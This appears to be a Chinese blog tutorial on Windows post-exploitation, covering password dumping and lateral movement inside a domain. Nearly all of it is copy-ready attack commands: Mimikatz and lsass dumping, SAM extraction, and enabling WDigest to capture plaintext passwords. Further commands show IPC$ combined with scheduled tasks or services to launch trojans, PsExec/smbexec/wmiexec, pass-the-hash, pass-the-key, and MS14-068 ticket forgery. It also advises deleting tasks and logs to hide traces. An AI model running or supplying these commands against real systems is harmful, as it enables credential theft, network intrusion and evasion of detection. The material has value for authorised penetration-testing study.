前言
前言在拿下一台主机之后,我们可以通过横向移动来增大我们的战果,拿下内网中更多的机器,甚至拿下域控(最终目标)。那么下面就总结一些密码捉取和横向移动的手法。因为内容颇多,所以总结的不是很全,会一直更新。
密码捉取
密码在横向移动中占一个很重要的地位,大多数横向移动的手法就建立在明文密码或者hash上面的。
windows下的密码存储在SAM文件中,而域环境下的域用户等信息存储在NTDS.dit文件中。
下面是一些捉取密码的方法:
Pwdump
Pwdump工具可以捉取靶机上的hash值,需要管理员权限运行。
命令:
Pwdump7.exe #直接运行即可
下载地址:https://www.openwall.com/passwords/windows-pwdump
根据系统不同下载不同的版本,比如我上面的是win7版本的。
Mimikatz
1)直接捉取
Mimikatz可以捉取明文和Hash,同样需要管理员权限运行。
命令:
privilege::debug #提升至debug权限
sekurlsa::logonpasswords #抓取密码
2)配合Procdump进行捉取,同样Procdump需要管理员权限运行。
可以先用Procdump导出dmp文件。
命令:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后把文件放在本地来获取密码
命令:
sekurlsa::minidump lsass.dmp // 将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full // 获取密码(可以获取明文)
注册表获取
利用注册表导出system文件和sam文件,同样的需要管理员权限。
命令:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
放到本地用mimikatz读取sam.hive文件和system.hive文件获取到Hash值。
命令:
lsadump::sam /sam:sam.hive /system:system.hive
Quarks PwDump
可以用QuarksPwDump获取本地Hash和域用户Hash。
导出本地Hash:
QuarksPwDump.exe --dump-hash-local
或者
QuarksPwDump.exe -dhl
导出域用户Hash:
QuarksPwDump.exe -dhdc
或者
QuarksPwDump.exe --dump-hash-domain-cached
密码捉取的注意事项
windows2012及以上的系统默认关闭Wdigest功能,使得无法在内存中获取到明文密码。此外,如果windows2012以下的系统如果安装了KB2871997补丁,那么也无法在内存中获取到明文密码。
可以用命令开启Wdigest功能。如下:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
开启后在下次登录的时候就可以捉取到密码了。
Hash爆破
用上面但不限于上面的方法获取到Hash之后,可以用Hash传递进行横向移动,也可以尝试进行Hash爆破出明文密码。
可以用下面的方法进行破解hash,进而得出明文密码。
在线网站
用在线网站进行爆破。
https://www.objectif-securite.ch/en/ophcrack
ophcrack
ophcrack工具可以用于爆破Hash
下载地址:https://ophcrack.sourceforge.io/
ophcrack工具提供的彩虹表地址:https://ophcrack.sourceforge.io/tables.php
用法百度自查
Hashcat
若爆破时不指定输出文件,hashcat爆破得到的结果存储在hashcat.potfile文件中。
简单使用:
hashcat.exe -m 1000 -a 0 afffeba176210fad4628f0524bfe1942 pass.txt
-m:指定Hash类型 1000对应ntml
-a:指定爆破模式
横向移动
横向移动是啥?个人理解是在获取到内网中的一台主机之后,以此主机为跳板去攻击内网中其它主机,尽可能扩大战果,甚至拿下域控(在域环境下的话)。 下面是一些横向移动的手法。
IPC
建立IPC共享,然后配合计划任何或者创建服务进行横向移动。
建立IPC共享的前提:
开启 139 445端口
开启ipc共享
命令:
net use \\ip\ipc$ "password" /user:"administrator"
建立IPC连接最好用administrators组的账号,否则即使建立上去了也因为权限过低而难有作为。
建立IPC连接之后可以用命令执行一些操作:
net use #查看当前主机所建立的连接
dir \\10.1.1.1\c$ #列c盘目录
copy C:\shell.exe \\10.1.1.1\c$ #复制文件
net use \\IP /del /y #删除共享
IPC配合计划任务
IPC配合计划任务的思路是啥呢?
建立IPC连接之后,用Metasploit生成木马,并用IPC命令上传到靶机上,再用计划任务执行木马就可以啦。
at
用at命令进行计划任务的设置,这只是在低版本的系统中有用(2008之前但不包括2008的系统),因为高版本的系统已经废弃了at命令,但是我们还有schtasks命令代替。
一套流程如下:
net use \\10.1.1.45\ipc$ "lzjnajiuqifeiba" /user:"administrator" #建立ipc连接
net time \\10.1.1.1 #显示靶机时间
copy 123321.exe \\10.1.1.1\c$ #把木马拷贝到靶机
at \\10.1.1.45 16:42 c:\123321.exe #设置定时任务 定时执行木马
at \\10.1.1.45 1 /delete #删除计划任务(清除痕迹)
net use \\IP /del /y #删除IPC共享
at命令也可以直接执行命令,但是没有回显,需要配合type食用
schtasks
在2008及之后的系统中,at命令已经被废弃,那么可用使用schtasks命令代替。
#建立ipc连接
#拷贝木马到靶机上
#创建计划任务执行木马
schtasks /create /s 10.1.1.1 1 /u administrator /p 123.com /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f #每分钟执行一次计划任务(以system运行shell.exe文件)
创建服务
IPC连接还可以配合服务创建进行横向移动。
思路是把创建的服务的可执行文件路径指向木马文件即可。
#建立ipc连接
#拷贝木马到靶机上
sc \\10.1.1.45 create NewService binpath= c:\1.exe #创建服务 路径指向木马程序
sc \\10.1.1.45 start NewService #启动服务
sc \\10.1.1.45 delete NewService #删除服务
PsExec
psexec是sysinternals的一款强大的软件,通过他可以提权和执行远程命令(摘自网上)。
前提条件:
开启admin$共享,默认是开启的,如果不开启的时候连接会提示找不到网络名。
工作组环境下用psexec连接需要用管理员的账号进行连接。而在域环境下连接普通主机可以用普通域用户进行连接,但是连接域控的时候必须使用域管理员账号进行连接。
1)明文传递
psexec.exe -accepteula \\10.1.1.45 -u administrator -p lzjnajiuqifeiba -s cmd.exe #-s是以system权限运行
2)Hash传递
PsExec.exe -hashes:f8f1549cebb055089b0634e26869712e ./administrator@10.1.1.45 #没有成功
如果提前建立了IPC连接,则可以无需账号密码进行psexec连接。
PsExec.exe -accepteula \\10.1.1.45 cmd.exe
利用Metasploit模块
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh #powershell
需要注意的是,PsExec会产生大量的日志,时刻记得删除哦。
smbexec
前提条件:445端口开放
1)明文传递
smbexec.exe ./administrator:lzjnajiuqifeiba@10.1.1.45
2)Hash传递
smbexec.exe -hashes :f8f1549cebb055089b0634e26869712e ./administrator@10.1.1.45
wmic
前提条件:
135端口开启 (管理端口)
445端口开启 (回显端口)
wmic可以列举进程
wmic /node:10.1.1.45/user:administrator /password:lzjnajiuqifeiba process list brief
可以执行命令,但是没有回显,把命令结果写入文件,配合IPC进行type命令读取命令执行结果。
wmic /node:10.1.1.45/user:administrator /password:lzjnajiuqifeiba process call create "cmd.exe /c whoami>c:\1.txt"
可以把木马放到靶机上,然后用wmic执行命令触发木马。
1)利用wmiexec.py
用代理技术让本机可以访问到内网,这样就不需要跳板机有python环境了。
明文:
python3 wmiexec.py administrator:lzjnajiuqifieba@10.1.1.45
Hash:
python3 wmiexec.py -hashes 00000000000000000000000000000000:f8f1549cebb055089b0634e26869712e administrator@10.1.1.45
执行命令:
python3 wmiexec.py -hashes 00000000000000000000000000000000:f8f1549cebb055089b0634e26869712e administrator@10.1.1.45 "whoami"
2)利用wmiexec.exe工具
明文:
wmiexec.exe administrator:lzjnajiuqifeiba@10.1.1.45
Hash:
wmiexec.exe -hashes 00000000000000000000000000000000:f8f1549cebb055089b0634e26869712e administrator@10.1.1.45
3)利用wmiexec.vbs
cscript.exe //nologo "wmiexec v1.1.vbs" /shell 10.1.1.45 administrator lzjnajiuqifeiba
听说,只是听说,wmiexec.vbs被杀软杀的sisi了。
4)利用Invoke-WMIMethod.ps1
PS C:\Users\win71> $User="administrator"
PS C:\Users\win71> $Password=ConvertTo-SecureString -String "lzjnajiuqifeiba" -AsPlainText -Force
PS C:\Users\win71> $Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
PS C:\Users\win71> Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName "10.1.1.45" -Credential $Cred
会在靶机上打开一个notepad.exe进行。上图中的进程号是2432
5)利用Invoke-WmiCommand.ps1
PTH
PTH即Hash传递,前面的几种方法中也有可以Hash传递的,其实也就是PTH的啦。
1)mimikatz
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:win71 /domain:god /ntlm:72125a140d931cabb4c4b14b152f9a44 #把Hash添加进lsass中,会反弹一个shell回来
net use \\10.1.1.19\ipc$ #在反弹的shell中执行,此时不用密码即可连接
当禁用了Hash认证时,psexec无法进行Hash传递,但是mimikatz还是可以进行Hash传递的。
2)Metasploit模块
auxiliary/admin/smb/psexec_command #在目标机器上执行系统命令
exploit/windows/smb/psexec #用psexec执行系统命令
exploit/windows/smb/psexec_psh #使用powershell作为payload
以exploit/windows/smb/psexec模块为例
use exploit/windows/smb/psexec
set rhosts 10.1.1.45
set smbuser administrator
et smbpass 00000000000000000000000000000000:f8f1549cebb055089b0634e26869712e # 完整的Administrator用户的Hash
set smbdomain workgroup
set lhost 10.1.1.3
exploit
3)Crackmapexec
kali上使用Crackmapexec进行Hash传递
apt-get update
apt-get install crackmapexec #安装Crackmapexec
crackmapexec smb 10.1.1.45 -u administrator -H f8f1549cebb055089b0634e26869712e -d workgroup -x whoami
kb2871997补丁并不能完全防御PTH,只是限制了只能administrator账号的Hash可以传递,其它账号的Hash不可以传递了而已。
且当打上kb2871997补丁之后,可以使用PTK。
PTK
PTK是利用aes256进行传递的,前提是靶机打了KB2871997补丁,而且跳板机具有管理员权限(因为跳板机要获取aes256需要有管理员权限)。
sekurlsa::ekeys
sekurlsa::pth /user:win71 /domain:god /aes256:e0804913046fdb6c0132bb4f2f3ad91f1f4874606d3a82c47c1a516350d91770
PTT
PTT就是票据传递,PTT是利用kerberos协议进行横向移动的。
利用的是MS14-068漏洞,对应补丁为kb3011780。当跳板机没有管理员权限的时候,可以尝试PTT攻击,其不需要管理员权限。
PS C:\Users\win71> C:\Users\win71\Desktop\MS14-068.exe -u win71@god -s S-1-5-21-2283754064-813807322-446219490-1111 -d 10.1.1.1 -p Lzj123comnajiu #生成票据文件 -d后跟着的是域控ip
klist #查看票据
klist purge #清空票据,防止其它票据的影响
kerberos::ptc 票据文件 利用mimikatz将票据注入到内存中,注入内存后可以无密码连接ipc(不能用ip连接,需要用主机名连接)
利用kekeo工具
kekeo "tgt::ask /user:win71 /domain:god /ntlm:f8f1549cebb055089b0634e26869712e"
#kekeo "tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash"
在kekeo中执行以下命令:
kerberos::purge #清除内存中的其他票据
kerberos::ptt 票据文件 #导入票据
可以读取本地还存在的票据进行导入,可能存在的那些票据还有用
用mimikatz完成
sekurlsa::tickets /export(需要管理员权限,导出票据)
kerberos::ppt xxxx.xx.kirbi(导入票据文件)
至此,
以上就是一些常见的横向移动手法。
参考文章:
https://www.freebuf.com/articles/network/251364.html
https://www.freebuf.com/articles/network/245697.html
https://www.cnblogs.com/lcxblogs/p/13847184.html